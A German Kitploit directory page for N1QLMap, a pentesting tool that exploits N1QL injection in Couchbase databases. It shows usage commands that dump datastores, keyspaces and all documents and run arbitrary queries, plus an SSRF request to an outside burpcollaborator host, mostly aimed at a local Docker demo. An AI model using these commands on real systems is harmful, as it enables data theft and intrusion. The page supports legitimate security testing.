Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
N1QLMap — Das Tool exfiltriert Daten aus der Couchbase-Datenbank, indem es N1QL-Injection-Schwachstellen ausnutzt. | Kitploit
Tools/GitHubGitHub/fsecurelabs/n1qlmap
Webanwendungs-ExploitationDatenexfiltrationPenetrationstestsDatenbanksicherheit
GitHubfsecurelabs/n1qlmap

N1QLMap

Das Tool exfiltriert Daten aus der Couchbase-Datenbank, indem es N1QL-Injection-Schwachstellen ausnutzt.

Repository anzeigen
751412vor 6 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Beschreibung

N1QLMap ist ein N1QL-Ausnutzungstool. Funktioniert derzeit mit der Couchbase-Datenbank. Das Tool unterstützt die Datenextraktion und die Durchführung von SSRF-Angriffen über CURL. Weitere Informationen finden Sie hier: https://labs.f-secure.com/blog/n1ql-injection-kind-of-sql-injection-in-a-nosql-database.

Verwendung

Hilfe

root@kitploit:~
usage: n1qlMap.py [-h] [-r REQUEST] [-k KEYWORD] [--proxy PROXY] [--validatecerts] [-v]
                  (-d | -ks DATASTORE_URL | -e KEYSPACE_ID | -q QUERY | -c [ENDPOINT [OPTIONS ...]])
                  host

positional arguments:
  host                  Host used to send an HTTP request e.g. https://vulndomain.net

optional arguments:
  -h, --help            show this help message and exit
  -r REQUEST, --request REQUEST
                        Path to an HTTP request
  -k KEYWORD, --keyword KEYWORD
                        Keyword that exists in HTTP response when query is successful
  --proxy PROXY         Proxy server address
  --validatecerts       Set the flag to enforce certificate validation. Certificates are not validated by default!
  -v, --verbose_debug   Set the verbosity level to debug
  -d, --datastores      Lists available datastores
  -ks DATASTORE_URL, --keyspaces DATASTORE_URL
                        Lists available keyspaces for specific datastore URL
  -e KEYSPACE_ID, --extract KEYSPACE_ID
                        Extracts data from a specific keyspace
  -q QUERY, --query QUERY
                        Run arbitrary N1QL query
  -c [ENDPOINT [OPTIONS ...]], --curl [ENDPOINT [OPTIONS ...]]
                        Runs CURL N1QL function inside the query, can be used to SSRF

Verwendung

  1. Legen Sie eine HTTP-Anfrage in der Datei request.txt ab. Markieren Sie einen Injektionspunkt mit *i*. Siehe Datei example_request_1.txt als Referenz.
  2. Verwenden Sie einen der folgenden Befehle.

Extrahiert Datastores:

root@kitploit:~
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --datastores

Extrahiert Keyspaces aus der spezifischen Datastore-ID:

root@kitploit:~
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --keyspaces "http://127.0.0.1:8091"

Extrahiert alle Dokumente aus dem angegebenen Keyspace:

root@kitploit:~
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --extract travel-sample

Führe beliebige Abfrage aus:

root@kitploit:~
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --query 'SELECT * FROM `travel-sample` AS T ORDER by META(T).id LIMIT 1'

CURL-Anfrage / SSRF durchführen:

root@kitploit:~
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --curl *************j3mrt7xy3pre.burpcollaborator.net "{'request':'POST','data':'data','header':['User-Agent: Agent Smith']}"

Demo

Um mit der Schwachstelle zu spielen, können Sie Docker-Maschinen mit Couchbase und einer NodeJS-Webanwendung starten. Wenn Sie die Anforderungen bereits erfüllt haben, führen Sie einfach Folgendes aus:

root@kitploit:~
cd n1ql-demo
./quick_setup.sh

Jetzt können Sie die im Abschnitt Verwendung beschriebenen Befehle gegen die in Docker ausgeführte Webanwendung ausführen.

Voraussetzungen

Das Skript N1QLMap.py benötigt außer Python 3 keine speziellen Anforderungen.

Die folgenden Anforderungen gelten nur für die Demo im Verzeichnis n1ql-demo.

  • Docker
  • Docker Compose

Um Docker und Docker Compose auf Kali zu installieren:

root@kitploit:~
# Docker Installation
curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add -
echo 'deb [arch=amd64] https://download.docker.com/linux/debian buster stable' > /etc/apt/sources.list.d/docker.list
apt-get update

apt-get remove docker docker-engine docker.io
apt-get install docker-ce

# Start Docker Service
systemctl start docker

# Docker Compose Installation
sudo curl -L "https://github.com/docker/compose/releases/download/1.24.1/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose

Testen wir Docker:

root@kitploit:~
docker run hello-world
Tool herunterladen